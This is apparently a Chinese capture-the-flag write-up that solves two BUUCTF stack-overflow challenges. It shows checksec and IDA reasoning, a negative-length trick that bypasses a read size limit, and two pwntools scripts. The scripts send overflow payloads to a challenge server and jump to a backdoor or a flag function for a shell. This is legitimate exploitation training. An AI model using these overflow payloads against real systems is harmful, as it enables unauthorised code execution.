1.bjdctf_2020_babystack:
先checksec一下:
64位,打开了NX保护。再用ida打开:
可以发现read函数,存在栈溢出。
f12,查看字符串:
发现/bin/sh,存在后门函数backdoor:
再找到backdoor的地址:
然后就是nbytes的大小,因为在read函数里面nbytes会发送强转,所以先输入一个‘-1’,然后nbytes在read函数里面会变为一个很大的数字。再用栈溢出,获得shell。
获得flag:
代码:
from pwn import*
io = remote('node4.buuoj.cn',25870)
payload = b"-1"
io.recvuntil(b"[+]Please input the length of your name:")
io.sendline(payload)
payload = b'a'*(0x10+8) + p64(0x4006e6)
io.recvuntil(b"[+]What's u name?")
io.sendline(payload)
io.interactive()
2.get_started_3dsctf_2016:
先checksec一下:
32位,打开NX保护,用ida打开:
发现gets函数,大概率是溢出。
f12,发现有一个flag.txt,进入函数:
看大佬的wp,知道了一些简单方法。
法1:
因为可以直接发现flag的地址:
可以直接用gets的溢出,绕过第一个if,直接得到flag。但是只能用本地打通。
法2:
可以构造payload = ‘a'*字符数 + ebp + flag开始地址 + flag结束地址 + a1的地址 + a2的地址,
这里flag的结束地址用exit的地址,确保有回显。
代码:
from pwn import*
io = remote('node4.buuoj.cn',29906)
#'a'*offset + 'ebp' + flag_get + fanhuiflag_get + canshu1 + canshu2
payload = b'a'*0x38
payload += p32(0x80489a0) + p32(0x804e6a0)
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
io.interactive()